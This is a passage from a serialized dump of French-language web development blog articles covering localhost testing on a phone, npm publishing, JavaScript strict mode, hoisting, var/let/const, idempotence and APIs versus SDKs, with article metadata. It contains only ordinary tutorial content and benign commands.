sous-réseaux différents !\n\n### Etape 2 : l'IP\n\nTrouvez **l'IP locale de la carte WiFi de votre machine**, en générale sous la forme 192.168.x.x.\n\n> Sur Windows, vous pouvez utiliser la commande \"ipconfig\" ou bien \"ifconfig\" pour Linux et MacOS.\n\n### Etape 3 : Le port\n\nLancez votre projet sur votre ordinateur, et **notez bien le port qu'utilise l'application** que vous développez.\n\n> Si vous travaillez avec un serveur web classique, le port par défaut est le 80.\n\n### Etape 4 : Le smartphone\n\nOuvrez le navigateur web sur votre smartphone, et **rentrez l'adresse suivante dans la barre de recherche \"http://\\[IP\\_MACHINE\\]:\\[PORT\\_APPLICATION\\]**\n\nEt surprise ! Votre application qui tourne en local sur votre PC est en fait accessible aux appareils qui sont connectés sur le même réseau !\n\n","Vous développez votre application ou votre site en localhost et vous voulez tester le rendu sur votre téléphone, rien de plus simple !","comment-tester-son-application-web-en-local-sur-son-telephone-localhost","2021-01-26T21:57:44.000Z","2023-09-19T15:05:39.448Z","2021-01-27T09:52:48.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/aaron-weiss-_x6XZ_jp0g8-unsplash.jpg","Aaron Weiss sur Unsplash","https://unsplash.com/@aaronweiss?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1357,"title":1358,"content":1359,"socialTitle":8,"description":1360,"socialDescription":8,"slug":1361,"createdAt":1362,"updatedAt":1363,"publishedAt":1364,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1365,"coverCopyright":1366,"coverCopyrightLink":1367},182,"Comment publier un module public sur NPM en 3 minutes ?","Il y a quelques jours, je vous parlais de mon projet open-source Peek, un utilitaire qui permet d'automatiser les screenshots de ses projets web, je lui ai d'ailleurs consacré un article entier [disponible ici.](https://code-garage.fr/blog/un-outil-pour-automatiser-les-screenshots-de-sites-web/)\n\n> Mais depuis hier, **il est disponible directement depuis npm en tant que paquet public sur NPM**, [juste ici](https://www.npmjs.com/package/peek-js) !\n\nVous pouvez donc l'installer à tout moment globalement en local en faisant simplement :\n\n```\n$ npm install -g peek-js\n```\n\n**Et pour fêter la publication de mon premier module, je me suis dit qu'un petit tutoriel rapide et détaillé pourrait aider certaines d'entre-vous**, alors voilà !\n\n## Étape 1 : Créer un compte\n\n**Vous le savez, il est possible d'utiliser le registre de NPM sans avoir à créer de compte**, pour simplement installer de nouveaux modules ou gérer les dépendances de ses projets.\n\n> J'ai d'ailleurs publié un article intitulé \"[Les 7 commandes NPM dont vous n'avez jamais entendu parler](https://code-garage.fr/blog/les-commandes-npm-dont-vous-navez-jamais-entendu-parler/)\" pour vous faciliter la tâche !\n\n**Mais pour pouvoir publier vous-même de nouveaux paquets**, il est nécessaire de créer un compte sur la plateforme : [https://www.npmjs.com](https://www.npmjs.com)\n\nUne fois le compte créé avec votre adresse e-mail, votre nom d'utilisateur et votre mot de passe, **il vous suffira de valider votre adresse e-mail pour terminer le processus (à ne pas oublier).**\n\n## Étape 2 : Se connecter\n\nLa plateforme peut laisser à penser que la création de nouveaux modules se fait directement depuis l'interface web, **mais il n'en est rien.**\n\n> Tout le reste du tutoriel se passe directement depuis votre terminal.\n\n**Pour vous connecter avec le compte fraîchement créé, ouvrez votre terminal préféré**, et entrez la commande suivante :\n\n```\n$ npm login\n```\n\nSuite à cela, **NPM vous demandera vos informations de login** comme vous les avez créé lors de votre inscription, rentrez-les et ce dernier devrait vous afficher le message suivant : \"**Logged in as \\[username\\] on https://registry.npmjs.org/**\"\n\n## Étape 3 : Générer le manifeste\n\n**Si vous utilisez déjà NPM pour gérer les dépendances de votre projet, alors vous aurez sûrement déjà généré le manifeste** nécessaire pour publier votre paquet et vous pouvez sauter cette étape.\n\n> Si vous n'êtes pas sûr d'avoir toutes les informations nécessaires présentes dans le fichier, je vous invite à vérifier la documentation du [package.json](https://docs.npmjs.com/cli/v6/configuring-npm/package-json) !\n\nDans le cas où votre projet ne contient pas encore de manifeste, **NPM vous met un utilitaire très simple pour le générer à partir des informations de base de votre projet**. Pour l'utiliser il suffit de lancer la commande suivante :\n\n```\n$ cd [project-folder]\n$ npm init\n```\n\nEt de rentrer les informations demandées comme ci-dessous :\n\n```\npackage-name:\nversion: (1.0.0)\ndescription:\nentry point: (index.js)\ntest command:\ngit repository:\nkeywords: \nlicense: (MIT)\n```\n\n**Les informations indispensables sont le nom du paquet et sa version**, à noter que le nom du paquet ne doit pas contenir d'espace, et que la version doit suivre le format de \"[semantic versioning](https://code-garage.fr/blog/qu-est-ce-que-le-semantic-versioning/)\".\n\n## Étape 4 : Publier son paquet\n\nUne fois le manifeste créé, **la publication de votre module ne nécessite plus qu'une seule commande**, founie par NPM :\n\n```\n$ npm publish\n```\n\n**Attention, le nom de votre paquet doit être unique et le registre NPM est sensible à la casse**, si jamais votre paquet rentre en conflit avec un paquet déjà existant, votre terminal vous renverra l'erreur suivante :\n\n```\n403 Forbidden - PUT https://registry.npmjs.org/[package] - You do not have permission to publish \"[package]\". Are you logged in as the correct user?\n```\n\n**Il vous suffira de modifier le nom de votre module** dans le manifeste, et de réessayer !\n\n> L'idéal est de vérifier avant sur le site la disponibilité du nom, ou bien grâce à la commande \"npm search \\[package\\]\".\n\nSi tout se passe bien, vous devriez seulement voir une ligne supplémentaire après les logs NPM vous indiquer : \"+\\[package\\]@\\[version\\]\". Bravo !\n\n## Étape 5 : Tester\n\nL'avantage du registre NPM est qu'il se met à jour instantanément, **il vous suffira donc d'installer votre propre module pour voir s'il a correctement été ajouté** au registre. Pour celà, rien de plus simple :\n\n```\n$ npm install [package]\n```\n\n**Et voilà, votre premier paquet NPM public est en ligne ! À noter que vous pouvez aussi publier des modules privés** (pour faciliter la gestion des dépendances au sein de votre équipe), mais l'hébergement n'est pas gratuit, contrairement au registre public !\n\n","Envie de mettre votre projet open-source à disposition des utilisateurs du node-packet manager ? Voilà la marche à suivre !","comment-publier-un-module-public-sur-npm-en-3-minutes","2021-01-31T20:17:55.000Z","2023-09-19T15:05:39.502Z","2021-01-31T21:33:24.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/01/absolutvision-bSlHKWxxXak-unsplash.jpg","AbsolutVision sur Unsplash","https://unsplash.com/@freegraphictoday?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1369,"title":1370,"content":1371,"socialTitle":8,"description":1372,"socialDescription":8,"slug":1373,"createdAt":1374,"updatedAt":1375,"publishedAt":1376,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1377,"coverCopyright":1378,"coverCopyrightLink":1379},183,"À quoi sert le \"strict-mode\" en Javascript ?","**Avec l'arrivée de la version 5 d'ECMAScript (sortie en 2009)** est apparue une fonctionnalité permettant de passer du mode d'interprétation \"classique\" de Javascript, à un mode plus \"strict\" du langage.\n\n**Pour activer ce mode d'interprétation, il suffit de le spécifier tout en haut de votre script**, comme dans l'exemple ci-dessous :\n\n```\n\n'use strict';\n// Javascript code starting here\n\n```\n\n**À noter que le \"strict-mode\" peut n'être activé qu'au niveau de certaines fonction si besoin**, pour se faire il suffit de rajouter la ligne 'use strict' au début du code de la fonction en question.\n\n> La fonctionnalité \"use strict\" est disponible dans tous les navigateurs supérieurs à Internet Explorer 10.\n\n## Quels avantages ?\n\nCette fonctionnalité apporte trois avantages majeurs :\n\n* **Transformer certaines erreurs silencieuses de Javascript en erreurs visibles** et bloquantes pour améliorer la maintenabilité du code.\n* **Permettre au moteur Javascript d'effectuer plus d'optimisations au moment de l'interprétation**, il est donc possible que le code soit parfois plus rapide.\n* **Empêcher l'utilisation de certains mots-clés qui seront utilisés dans les futures version** de la norme ECMAScript.\n\nL'introduction de ce mode d'interprétation a donc notamment permis de préparer le terrain pour l'arriver des nouvelles versions de la norme ECMAScript (en l'occurence ES6 pour l'instant) en préparant **la future syntaxe ainsi qu'en empêchant certaines mauvaises habitudes de conception.**\n\n## Quelles différences ?\n\nMais en réalité quel est l'impact de l'ajout de cette directive \"use strict\" dans vos fichiers Javascript ?\n\n**Il existe de nombreuses règles qui changeront la manière dont votre code va être interprété et exécuté**, mais je vous en ai sélectionné les X plus importantes à connaitre :\n\n### 1 - Plus de variables globales sans \"var\"\n\n**Vous le savez, en Javascript il est possible d'initialiser un variable sans qu'elle n'ait été déclaré au préalable**, cette dernière sera alors une variable globale.\n\nLe problème est que lors d'une faute de frappe, au lieu de réassigner une nouvelle valeur à une variable **il vous est possible de créer une nouvelle variable globale par accident.**\n\n> Si c'est le cas, le mode strict vous renverra une erreur de type \"ReferenceError\".\n\n### 2 - De vraies erreurs lors de mauvaises assignations de variables\n\nSi vous assignez une valeur à une variable qui est en \"lecture-seule\", Javascript ne fera simplement rien, sans vous afficher d'erreur, **mais avec le mode strict, vous déclencherez un exception**, exemple :\n\n```\n\n'use strict';\nNaN = 5 // TypeError\n\n```\n\n### 3 - Erreur lors de la tentative de suppression de propriétés \"protégées\"\n\nComme l'exemple précédent, le code ci-dessous s**'exécutait sans déclencher d'erreur** hors mode strict :\n\n```\n\n'use strict';\ndelete Array.prototype // TypeError\n\n```\n\n### 4 - Unicité obligatoires des noms de paramètres\n\nAussi étrange que celà puisse paraitre, le code ci-dessous peut s'exécuter sans problème en mode \"classique\" :\n\n```\n\n'use strict';\nfunction(data, data){\n return data;\n}\n\n```\n\n**Mais le résultat ne sera pas forcément celui attendu**, sûrement dû à une faute de frappe, le mode strict oblige donc l'unicité des paramètres.\n\n### 5 - Les entiers ne se transforment plus en base octale par inadvertence\n\nS'il vous est déjà arrivé de précéder un nombre par un zéro inutile en Javascript, sachez qu'il y a de fortes chances (si le nombre ne contient que des chiffres inférieurs à 8) qu'il soit automatiquement transformé en octal (base 8).\n\n**Si dans votre console vous tapez simplement 047, vous verrez que cette dernière vous renverra le résultat 39**, pour celà le mode strict empêche cette écriture et force l'utilisation du préfixe \"0o\" :\n\n```\n\n'use strict';\nvar n = 047; // SyntaxError\nvar o = 0o47; // Real octal\n\n```\n\n### 6 - De nouveaux mot-clés réservés\n\nPour préparer l'arrivée d'ES6, le mode strict a interdit l'utilisation de plusieurs mot-clés, lesquels sont : **implements, interface, let, package, private, protected, public, static, and yield.**\n\nÀ noter que cette règle n'est pas prise en compte dans les navigateurs prenant nativement en charge l'ES6 !\n\n> Pour la liste exhaustive des modifications apportées par la directive \"use strict\", n'hésitez pas à consulter [l](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode)[a documentation spécifique](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode) sur MDN Web docs !","Découvrez les principales règles qui vont impacter votre code, ainsi que les avantages de ce mode d'interprétation !","a-quoi-sert-le-strict-mode-en-javascript","2021-02-02T08:04:38.000Z","2023-09-22T13:54:22.443Z","2021-02-02T10:27:59.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/masaaki-komori-_we0BQQewBo-unsplash.jpg","Masaaki Komori sur Unsplash","https://unsplash.com/@gaspanik?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1381,"title":1382,"content":1383,"socialTitle":8,"description":1384,"socialDescription":8,"slug":1385,"createdAt":1386,"updatedAt":1387,"publishedAt":1388,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1389,"coverCopyright":1390,"coverCopyrightLink":1391},186,"Qu'est-ce que le hoisting en Javascript ?","Si vous êtes ne serait-ce que légèrement familier avec la programmation (ce que je vous conseille avant de continuer à lire cet article), **vous savez que l'utilisation d'une variable se fait en trois temps :**\n\n1. Déclaration\n2. Initialisation\n3. Utilisation\n\n**Le tout dans cet ordre précis, même si la déclaration et l'initialisation peuvent parfois se faire sur la même instruction.** Il en va de même pour les fonctions dont la déclaration doit toujours prédéder son appel.\n\n**Mais avez-vous déjà remarqué que ces affirmations ne sont pas réellement valable en Javascript**, et qu'il est possible d'utiliser une variable avant même de l'avoir déclarer, et même chose pour une fonction ?\n\n> Cela est rendu possible par une mécanique en JS que l'on appelle le \"hoisting\" ou \"remontée\" en français.\n\n## Le hoisting\n\n**Cette mécanique consiste donc à faire \"virtuellement\" remonter la déclaration d'une variable (ou d'une fonction) tout en haut de son scope** lors de l'analyse du code par le moteur d'interprétation Javascript.\n\n_C'est une mécanique automatique et obligatoire qui fait partie de la spécification ECMAScript même si le terme \"hoisting\" n'y apparait pas en tant que tel._\n\n> Pour vous en souvenir, vous pouvez pensez à la locution \"ho-hisse\" que l'on utilise quand on hisse (qu'on lève, remonte) quelque chose.\n\nVoyons comment celà fonctionne avec des exemples de code :\n\n### Pour les variables\n\nLors de son interprétation du code, le moteur va donc récupérer toutes les déclarations de variables à l'intérieur de chaque scope, pour les faire remonter tout en haut.\n\n> Mais attention, **il ne remonte que la déclaration, et non l'initialisation**, la valeur de la variable sera alors mise à \"undefined\".\n\nLe code basique suivant :\n\n```\n\nvar x = 3;\nconsole.log(x); /* 3 */\n\n```\n\nEst alors virtuellement transformé comme ceci :\n\n```\n\nvar x;\nx = 3;\nconsole.log(x); /* 3 */\n\n```\n\n> Mais ça ne change pas grand chose me direz-vous ?\n\nEffectivement, dans ce premier exemple le comportement du code ne change pas, mais avec un code comme celui ci-dessous :\n\n```\n\nconsole.log(x);\nvar x = 3;\n\n```\n\n**On devrait s'attendre à ce que l'interpréteur nous renvoie une \"ReferenceError\" car la variable x est utilisée avant d'être déclarée**, mais au lieu de celà, la console affiche \"undefined\", car la mécanique de hoisting aura virtuellement transformé le code précédent de la manière suivante :\n\n```\n\nvar x;\nconsole.log(x);\nx = 3;\n\n```\n\nLa variable aura donc bien été déclarée avant d'être utilisée, mais comme le hoisting ne fonctionne que sur la déclaration et non l'initialisation, **x est égal à undefined tant que l'on a pas dépassé la troisième ligne du code précédent !**\n\n> À noter que même si Javascript permet d'utiliser des variables avant de les déclarer, je vous déconseille de le faire consciemment, ce n'est pas une très bonne pratique.\n\nAttention, le hoisting ne fonctionne qu'avec les variables déclarées avec var, **pour celles déclarées avec let ou const, l'interpréteur renverra une erreur** car elles sont \"remontées\" mais non initialisées, pas même avec undefined.\n\n### Pour les fonctions\n\n**Le hoisting fonctionne aussi avec les fonctions**, ce qui vous permet d'organiser votre code de la manière dont vous le souhaitez, sans pour autant avoir à faire attention si une fonction est appelée avant une autre ou non.\n\nPour reprendre un exemple simple :\n\n```\n\nf();\nfunction f() { console.log(\"hello\");}\n\n```\n\nEst virtuellement transformé en :\n\n```\n\nfunction f() { console.log(\"hello\");}\nf();\n\n```\n\nEt toutes les déclarations de fonctions viendront donc se placer avant les appels, en haut de leur scope.\n\n**Mais attention, celà ne fonctionne pas pour les fonctions anonymes** stockées dans des variables, par exemple :\n\n```\n\nf();\nvar f = function() { console.log(\"hello\");}\n\n```\n\n**Car la déclaration de la variable f sera bien remontée, mais sa valeur sera temporairement undefined**, et l'interpréteur vous enverra donc une erreur du type \"f is not function\".\n\n### Le \"Lexical Environment\"\n\n**Tout au long de cet article je vous ai dit que votre code était modifié \"virtuellement\", car votre code ne bouge pas**, mais les variables, leurs déclarations et leurs valeurs sont stockées dans une structure de données utilisée par le moteur d'interprétation appelé le \"Lexical Environment\".\n\n**Votre code n'est donc pas affecté, c'est la manière dont il est interprété et exécuté qui change**, mais la mécanique de hoisting est plus facile à comprendre en voyant le code changer directement, voilà pourquoi je vous l'ai expliqué de cette manière !\n\n","Quand le langage essaye de nous faciliter la vie, mais nous embrouille en même temps !","qu-est-ce-que-le-hoisting-en-javascript","2021-02-05T08:50:27.000Z","2023-09-19T15:05:39.605Z","2021-02-05T10:06:45.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/alex-ZR48YvUpk04-unsplash.jpg","Alex sur Unsplash","https://unsplash.com/@worthyofelegance?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1393,"title":1394,"content":1395,"socialTitle":8,"description":1396,"socialDescription":8,"slug":1397,"createdAt":1398,"updatedAt":1399,"publishedAt":1400,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1401,"coverCopyright":1402,"coverCopyrightLink":1403},187,"Quelles sont les différences entre var, let et const en Javascript ?","Javascript a été créé à l'origine avec **un seul mot-clé pour définir une variable, ce mot réservé est : var**.\n\nMais depuis la version 6 (ECMAScript 2015) de la spécification du langage, **deux nouveaux mot-clés sont apparus : let et const.**\n\nSi l'on devait résumer la définition de ces deux nouvelles manières de déclarer des variables, on pourrait dire que :\n\n* **let sert à définir une variable locale**\n* **const sert à déclarer une référence constante**\n\nAttention, une référence constante **ne veut pas dire que la valeur derrière la référence est \"immutable\"**, mais  que la référence elle-même est immutable.\n\n> Si la notion de référence ne vous est pas familière, j'ai écrit un article à ce sujet : \"**[Comprendre les primitives et les références en Javascript](https://code-garage.fr/blog/comprendre-les-primitives-et-les-references-en-javascript/)**\"\n\nMais voyons exactement en quoi le fonctionnement des variables var, let et const sont différents dans la pratique :\n\n## Stocké en global ?\n\n* **var** : oui ✔️\n* **let** : non ❌\n* **const** : non ❌\n\nLorsque var est utilisé pour déclarer une variable en dehors d'une fonction, **alors cette variable sera forcément référencée dans l'objet global du script**.\n\n> Dans un navigateur, cette variable s'appelle \"**window\"** et dans un environnement NodeJS elle s'appelle \"**global\"**.\n\n## Se limite à la portée d'une fonction ?\n\n* **var** : oui ✔️\n* **let** : oui ✔️\n* **const** : oui ✔️\n\n**La portée (ou scope) d'une fonction est la seule à mettre toutes les variables sur un même pied d'égalité** et déclarer une variable à l'intérieur d'une fonction n'aura logiquement pas d'incidence sur le reste des données du code.\n\n## Se limite à la portée d'un block ?\n\n* **var** : non ❌\n* **let** : oui ✔️\n* **const** : oui ✔️\n\nPour ceux qui se demanderaient ce qu'est un bloc, c'est simplement **l'ensemble des instructions comprises entre deux accolades \"{...}\"** sauf pour lorsque ces accolades délimitent une fonction ou un objet JSON.\n\n**Un bloc d'instruction se trouve souvent après un if, else, for, while, etc.** Donc souvenez-vous qu'une variable déclarée avec le mot clé \"var\" dans un for sera automatiquement globale.\n\n> Sauf si le for en question est contenu dans une fonction, évidemment.\n\n## Peut être réassigné ?\n\n* **var** : oui ✔️\n* **let** : oui ✔️\n* **const** : non ❌\n\nRéassigner signifie que l'on va soit **modifier la valeur de la variable** lorsque l'on joue avec les types primitifs, soit que l'on va **modifier la référence de la variable** lorsque l'on utilise un type complexe.\n\n> À noter que si const est utilisé pour référencer un objet, le contenu de cet objet peut quand même être modifié.\n\n## Peut être redéclaré ?\n\n* **var** : oui ✔️\n* **let** : non ❌\n* **const** : non ❌\n\n**Redéclarer une variable (sauf lorsque sa portée le permet) est impossible sauf si c'est avec var**, mais ce n'est pas une bonne pratique et il est conseillé d'éviter de le faire.\n\n## Est affecté par le hoisting ?\n\n* **var** : oui ✔️\n* **let** : non ❌\n* **const** : non ❌\n\nLe hoisting est une notion plus complexe qui intervient au moment de l'interprétation du code JS, si vous n'êtes pas familier avec ce concept **je vous conseille de [lire mon article dédié à ce sujet](https://code-garage.fr/blog/qu-est-ce-que-le-hoisting-en-javascript/)** !\n\n## En résumé\n\n**Lorsque vous déclarez une nouvelle variable, pensez à privilégier d'abord const, puis let et enfin var en dernier recours, mais vous ne devriez plus en avoir besoin.**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/03/let-var-const-3.png)\n\nAttention néanmoins, let et const ne sont supportés que par les navigateurs qui sont compatibles avec l'ES6, cela équivaut actuellement à 96.25% des navigateurs, incluant IE11.\n\n","Il existe trois manières de déclarer des variables en Javascript, mais quelles sont les vraies différences ?","quelles-sont-les-differences-entre-var-let-et-const-en-javascript","2021-02-08T08:31:33.000Z","2023-09-19T15:05:39.631Z","2021-02-08T10:29:36.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/03/willian-justen-de-vasconcellos-8sHZE1CXG4w-unsplash.jpg","Willian Justen de Vasconcellos sur Unsplash","https://unsplash.com/@willianjusten?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1405,"title":1406,"content":1407,"socialTitle":8,"description":1408,"socialDescription":8,"slug":1409,"createdAt":1410,"updatedAt":1411,"publishedAt":1412,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1413,"coverCopyright":1414,"coverCopyrightLink":1415},190,"Que signifie l'idempotence en programmation ?","**Ce terme complexe, venu tout droit du monde des mathématiques, renferme en fait une signification très simple à définir.**\n\nOn dit qu'une opération est \"idempotente\" **si cette dernière peut être répétée autant de fois que l'on veut et que l'état des données en sortie ne change plus** après la première exécution.\n\nPrenons un exemple mathématique simple : **la valeur absolue d'un nombre sera toujours positive**, donc si l'on a un chiffre négatif en entrée alors il sera transformé la première fois qu'il passera dans la fonction.\n\n**Hors si vous prenez ce résultat et que vous le repassez dans la fonction de \"valeur absolue\", le résultat ne changera plus**, car il est déjà positif, et ce même si vous répétez l'opération à l'infini !\n\n> On peut dire que l'opération est idempotente car abs(x) === abs(abs(x)) === abs(abs(abs(x))) etc, etc...\n\n## En pratique\n\n**En algorithmie, il peut être parfois spécifié que la fonction à écrire doivent être idempotente pour des considérations techniques**, mais dès que l'on touche à des données, notamment au travers d'appels HTTP, l'idempotence est une bonne pratique indispensable.\n\n### HTTP et l'idempotence\n\nLes APIs REST sont de très bons cas d'usages pour la présentation de ce concept car elles sont basées sur des appels HTTP, et que **certaines des méthodes de ce protocole sont spécifiées comme devant être idempotentes.**\n\n**Les méthodes GET, PUT et DELETE ne doivent pas modifier l'état des données si elles sont appelées plusieurs fois** (avec les mêmes paramètres), le code de retour lui peut changer, mais pas l'état des données.\n\nExemples :\n\n* Une requête GET devra **toujours renvoyer les mêmes données** sans faire de modification\n* Plusieurs requêtes PUT contenant les mêmes paramètres **modifieront toujours le même objet de la même façon**, n'alterrant pas l'état des données après la première fois\n* La première requête DELETE supprimera la donnée en question, et si l'on renvoie la même requête, **la ressource aura déjà été supprimée** et renverra seulement une erreur 404\n\n**Pour ce qui est de la méthode POST, cette dernière ne doit pas être idempotente** car on veut pouvoir enregistrer éventuellement plusieurs fois la même donnée pour diverses raisons.\n\nVoilà, vous connaissez donc maintenant la signification de ce mot ainsi que quelques bonnes pratiques en ce qui concerne la gestion des requêtes HTTP !\n\n# Les articles les plus populaires du blog\n\nEnvie de continuer à lire des articles autour du développement web (entre autres) ? Voici la sélection des articles de mon blog les plus lus par la communauté !\n\n[Voir la sélection ](https://code-garage.fr/tag/top-lectures/)\n\nRecevez les articles de la semaine par e-mail pour ne rien manquer !\n\n[S'abonner à la newsletter ](https://brondin-bernard.us10.list-manage.com/subscribe?u=d7cceffbbbbee6e35dbba982f&id=1f2bfa9dc9)\n\n[Mes formations disponibles ](https://masterclass.nicolas.brondin-bernard.com/?coupon=BLOG)  -5% inclus pour les lecteurs du blog\n\n","Même si le mot fait peur, vous allez voir que le concept est simple à comprendre !","que-signifie-idempotence-en-programmation","2021-02-09T21:25:02.000Z","2023-09-19T15:05:39.729Z","2021-02-09T22:14:31.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/marita-kavelashvili-ugnrXk1129g-unsplash.jpg","Marita Kavelashvili sur Unsplash","https://unsplash.com/@maritafox?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1417,"title":1418,"content":1419,"socialTitle":8,"description":1420,"socialDescription":8,"slug":1421,"createdAt":1422,"updatedAt":1423,"publishedAt":1424,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1425,"coverCopyright":1426,"coverCopyrightLink":1427},191,"Quelles sont les différences entre une API et un SDK ?","Tout d'abord je tiens à préciser, comme je l'avais fait pour mon article sur [les différences entre une bibliothèque (library) et un framework](https://code-garage.fr/librairie-vs-framework-quelle-est-la-difference/), que **les termes d'API et de SDK peuvent parfois être utilisés de manière marketing**, sans corrélation avec leur définition, ce qui rajoute à la confusion.\n\nEnsuite il faut se rappeler que **ces deux mots décrivent des solutions logicielles utilisées pour faciliter le développement d'application**, ce sont donc des concepts, à la base, assez similaires.\n\n## Définitions\n\n### API\n\n> API signifie **Application Programming Interface**\n\nUne API représente un accès à du code externe dont l'utilisation se fait à travers une interface simplifiée et permettant d'étendre les fonctionnalités d'un logiciel.\n\n**Le mot clé ici est \"externe\" car l'API est indépendante du logiciel dans lequel elle est utilisée, elle est mise à disposition par l'environnement** (au sens large) dans lequel tourne le logiciel : le navigateur (pour les Web APIs), le réseau Internet (pour les APIs REST/SOAP/GRAPHQL et autres), le système d'exploitation (pour les APIs de gestion de fichiers), etc...\n\n**Lorsque l'on utilise une API, on ne dit qu'on l'intègre, mais qu'on la \"consomme\"**, ce qui met bien en avant le côté indépendant de cette dernière.\n\n### SDK\n\n> SDK signifie **Software Development Kit**\n\nUn SDK, comme son nom l'indique, n'est pas seulement un morceau logiciel, **mais c'est un kit complet.**\n\n**Il peut faciliter l'accès à une ou plusieurs APIs, fournir un ensemble de bibliothèques, de la documentation, des exemples, etc...** On vient intégrer un SDK à notre logiciel car il est développé spécifiquement pour la plateforme sur laquelle on développe.\n\n**Il existe souvent plusieurs SDK disponibles pour une seule API selon la plateforme ciblée.** Prenez l'exemple du service Firebase de Google et de son API Firestore pour stocker facilement des données depuis une application : il existe trois SDK différents, un pour le web, un pour Android et un pour iOS, écrits dans 3 langages différents.\n\n## Différences majeures\n\nComme vous l'aurez compris, une API et un SDK présentent deux différences majeures :\n\n* **Une API est externe à l'application** et peut-être développée dans n'importe quel langage, tandis que **le SDK doit être intégré à l'application** et est spécifiquement développé pour la plateforme que l'on utilise.\n* **Une API est une abstraction de code complexe et expose des fonctionnalités** souvent ciblé sur un domaine en particulier, tandis qu'**un SDK est une abstraction de nombreux outils et ressources (dont parfois plusieurs APIs).**\n\n> On peut prendre l'exemple d'une API de gestion du son, dont l'utilisation est abstraite dans un SDK pour le développement de jeux vidéos et rassemblant des APIs pour le son, le graphique, la physique, etc...\n\n## Pour mieux comprendre\n\n**Comme une image vaut mieux que mille mots, imaginez votre smartphone comme étant une API** : il offre des fonctions utiles et spécifiques comme passer des appels, envoyer des messages, prendre des photos, naviguer sur internet, etc...\n\n**Vous n'avez pas besoin de savoir comment il fonctionne à l'intérieur car le constructeur a créé une interface simple et intuitive (abstraction)** pour interagir avec, aucune connaissance en bandes GSM pour pouvoir passer un appel, un clic sur une icône suffit.\n\n**Votre téléphone est donc une API.**\n\n**Mais vous n'avez pas simplement acheté un téléphone, vous avez acheté tout un kit !** Ce kit contenait donc l'API (le smartphone), mais aussi un manuel utilisateur (la documentation), un chargeur conforme, des écouteurs (pour faciliter l'utilisation de la partie audio), une coque et une vitre de protection (pour sécuriser votre usage et ne pas faire n'importe quoi), etc...\n\n**La boite entière de votre smartphone et tout ce qu'elle contient fait donc office de SDK pour le téléphone.** Bien sûr il est possible d'utiliser votre smartphone sans tout ça, mais l'utilisation est plus pratique, plus facile et plus sécurisée avec tous les outils prévus dans le kit !\n\n","On rencontre très souvent ces deux termes, parfois comme s'ils étaient synonymes, mais qu'en est-il réellement ?","quelles-differences-entre-api-et-sdk","2021-02-10T20:18:27.000Z","2023-09-19T15:05:39.846Z","2021-02-11T08:56:36.000Z","https://cellar-c2.services.clever-cloud.com/content/2021/02/luca-laurence-vhQ4BTH6mj4-unsplash.jpg","Luca Laurence sur Unsplash","https://unsplash.com/@luca_tism?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1429,"title":1430,"content":1431,"socialTitle":8,"description":1432,"socialDescription":8,"slug":1433,"createdAt":1434,"updatedAt":1435,"publishedAt":1436,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1437,"coverCopyright":500,"coverCopyrightLink":501},194,"Comment fonctionne le Garbage Collector en Javascript ?","Le Garbage Collector, aussi appelé GC, ou parfois \"ramasse-miettes\" en français désigne un processus automatisé dont **le but est de libérer la mémoire dynamique (heap) inutilisée par un programme au fur et à mesure de son exécution.**\n\n> Si les concepts de primitives, références et de mémoire dynamique (heap) ne vous sont pas familiers, **je vous recommande de lire [mon article qui leur est dédié](https://code-garage.fr/blog/comprendre-les-primitives-et-les-references-en-javascript/) !**\n\n**Dans les langages bas-niveau comme le C par exemple, il est possible de gérer la mémoire dynamique de manière manuelle**, en trois phases distinctes :\n\n* Allocation d'un espace mémoire (malloc(...), calloc(...))\n* Utilisation (initialisation/écriture puis lecture)\n* Libération de la mémoire désormais inutilisée (free(...))\n\n**Mais en Javascript, lorsque vous créez une référence vers un nouvel objet, toute l'allocation mémoire est faite de manière automatique**, vous n'avez pas à savoir combien d'octets vous avez besoin de réquisitionner.\n\nEt vous n'avez pas non plus besoin de libérer la mémoire dynamique utilisée, car **c'est le moteur de Javascript qui s'en charge, grâce à son \"Garbage Collector\".**\n\n> À noter que je parle de la mémoire dynamique, car **les objets primitifs stockés dans la mémoire statique sont effacés dès lors que vous sortez de la scope dans laquelle ils ont été créés.**\n\n## Le fonctionnement\n\n### La problématique\n\nAvant de se pencher sur la solution, il faut bien comprendre le problème. **Prenons une zone mémoire que nous appeleront M1, qui prend 200Ko de place dans la mémoire dynamique** et sur laquelle sont pointées 3 références à différents endroits de notre programme.\n\nPour que notre programme ne soit pas trop gourmand en mémoire, il faut que nous puissions **libérer l'énorme place prise dès que cette zone mémoire ne sera plus utilisée.**\n\nLe problème étant que le moteur JS seul **ne peut pas prévoir en avance à quel moment de l'exécution de notre programme cette zone mémoire ne sera plus pointée** par aucune référence.\n\n> Voilà pourquoi nous avons besoin d'un Garbage Collector, dont le travail va être de découvrir les cases mémoires non-référencées afin de les libérer.\n\n### Une approche simple, le reference-counting\n\nIl existe des garbages collectors dans beaucoup de langages, et chacun implémente un algorithme de détection différent, parfois plus ou moins efficace_._ L'une des premières approche qui a été utilisée, est **le \"reference-counting\" (le comptage de 